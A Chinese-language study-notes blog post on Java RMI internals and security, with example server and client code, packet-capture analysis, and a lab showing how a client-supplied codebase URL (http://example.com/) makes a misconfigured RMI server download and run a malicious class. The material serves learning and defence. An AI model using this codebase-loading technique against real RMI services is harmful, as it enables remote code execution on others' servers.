最近在看Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记
RMI全称
远程方法调用(Remote Method Invocation)
。这是允许驻留在一个系统(JVM)中的对象调用在另一个JVM上运行的对象的一种机制,能够远程调用远程对象的方法。RMI通信过程、原理
我们首先来分析下RMI的流程:
首先编写一个RMI Server
:
package RMI_Test;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello, World";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
一个RMI Server
的过程分为以下三个步骤:
- 首先继承了
java.rmi.Remote
的接口,其中定义需要远程调用的方法,例如这里的hello()
- 其次需要使用
java.rmi.Remote
的接口 - 定义一个主类,用来创建
Registry
,并将上面的类实例化后绑定到一个地址
接着编写一个RMI Client
:
package RMI_Test;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://192.168.7.2:1099/Hello");
String ret = hello.hello();
System.out.println(ret);
}
}
客户端使用Naming.lookup
在Registry
中寻找到名字是Hello的对象,这里虽说是执行远程方法的时候代码是在远程服务器上执行的,但实际上还是需要知道有哪些方法,这时候接口的重要性就体现了,这也是为什么需要继承Remote
并将我们需要调用的方法写在接口IRemoteHelloWorld
里,因为客户端也需要用到这个接口。
这里使用WrireShark抓包来分析理解RMI的通信过程:
选择回环口
这就是RMI完整的通信过程,可以发现整个过程进行了两次TCP握手,也就是建立了两次TCP连接
第一次建立TCP连接是连接到远端192.168.135.142
的1099
端口,这也是服务端设置的端口(1099是RMI通信的默认端口),连接后客户端向远端发送了一个Call
消息,远端回复了一个ReturnData
消息,然后客户端新建了一个TCP连接到远端的24641
端口
那么为什么会连接24641
端口呢?,在ReturnData
这个包中,返回了目标的IP地址192.168.7.2
,其后的两个字节就是24641
的十六进制:
>>> int("6041", 16)
24641
这段数据从ac ed
开始往后就是Java序列化数据了,IP和端口只是这个对象的一部分,捋一捋这整个过程:
- 首先客户端连接
Registry
,并在其中寻找Name是Hello的对象,这个对应数据流中的Call
消息;然后Registry
返回一个序列化数据,这个就是找到的Name=Hello
的对象,这个对应数据流中的ReturnData
消息;客户端反序列化该对象,发现该对象是一个远程对象,地址在192.168.7.2:24641
,于是再与这个地址建立TCP连接,在这个新的连接中,才执行真正的方法调用,也就是hello()
。
RMI Registry
就像一个网关,它自己是不会执行远程方法的,但是RMI Server
可以在上面注册一个Name到对象的绑定关系
;RMI Client
通过Name向RMI Registry
查询,得到这个绑定关系,然后再连接RMI Server
;最后,远程方法实际上在RMI Server
上调用。
接下来来看下RMI的底层架构是如何实现的:
RMI
底层通讯采用了Stub(运行在客户端)
和Skeleton(运行在服务端)
机制,RMI
调用远程方法的底层通讯大致如下:
-
RMI
客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
-
Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象 -
RemoteCall
序列化RMI服务名称
、Remote
对象 -
RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
-
RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
-
Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化 -
Skeleton
处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端 -
RMI客户端
反序列化服务端结果,获取远程对象的引用 -
RMI客户端
调用远程方法,RMI服务端
反射调用RMI服务实现类
的对应方法并序列化执行结果返回给客户端 -
RMI客户端
反序列化RMI
远程方法调用结果
如何攻击RMI Registry?
首先,RMI Registry
是一个远程对象管理的地方,可以理解为一个远程对象的”后台“,当我们尝试直接访问”后台“功能,如果尝试直接访问”后台“功能,会出现报错,因为Java对远程访问RMI Registry
做了限制,只有来源地址是localhost
的时候,才能调用rebind
、bind
、unbind
等方法,不过list
、lookup
方法可以远程调用。
而lookup
的作用就是获取某个远程对象,那么只要目标服务器上存在一些危险方法,我们就可以通过RMI对其进行调用,例如工具:https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。
RMI利用codebase执行任意代码
Applet是采用Java编程语言编写的小应用程序,该程序可以包含在 HTML(标准通用标记语言的一个应用)页中,与在页中包含图像的方式大致相同。含有Applet的网页的HTML文件代码中部带有<applet></applet>
这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小应用程序代码并在本地计算机上执行该Applet。
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>
在使用Applet的时候通常需要指定一个codebase
属性,而RMI在远程加载的场景中,也会涉及到codebase
,codebase
是一个地址,告诉Java虚拟机前往指定的地址搜索类,类似CLASSPATH
,但是CLASSPATH
是本地路径,而codebase
通常是远程URL
例如指定codebase=http://example.com/
,然后加载org.vulhub.example.Example
类,则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class
,并作为Example
类的字节码
在RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就回去寻找类,如果某一段反序列化时发现一个对象,那么就回去本地CLASSPATH
下寻找相对应的类;如果在本地没有找到这个类,就会去远程加载codebase
中的类。
如果控制了codebase
,就可以加载自己构造的恶意类,可以将codebase
随着序列化数据一起传输,服务器在接收到这个数据后就会去CLASSPATH
和指定的codebase寻找类,导致RCE
不过需要满足如下条件的RMI服务器才能被攻击:
- 安装并配置了
SecurityManager
- Java版本低于
7u21
、6u45
或者设置了java.rmi.server.useCodebaseOnly=false
其中java.rmi.server.useCodebaseOnly
是在Java 7u21
、6u45
的时候修改的一个默认配置,官方将java.rmi.server.useCodebaseOnly
的默认值由false
改为了true
。在java.rmi.server.useCodebaseOnly
配置为true
的情况下,Java虚拟机将只信任预先配置好的codebase
,不再支持从RMI请求中获取。
这里Phith0n师傅提供了一个案例:
服务端:
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
client.policy
,放在jdk1.8.0_341\jre\lib\security\
下,不过运行的时候最好用绝对路径
grant {
permission java.security.AllPermission;
};
运行
javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer
客户端
import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc) Naming.lookup("rmi://192.168.50.3:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
这个Client
我们需要在另一个位置运行,因为我们需要让RMI Server
在本地CLASSPATH
里找不到类,才
会去加载codebase
中的类,所以不能将RMIClient.java
放在RMI Server
所在的目录中。
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient
我们只需要编译一个恶意类,将其class
文件放置在Web服务器的/RMIClient$Payload.class
即可。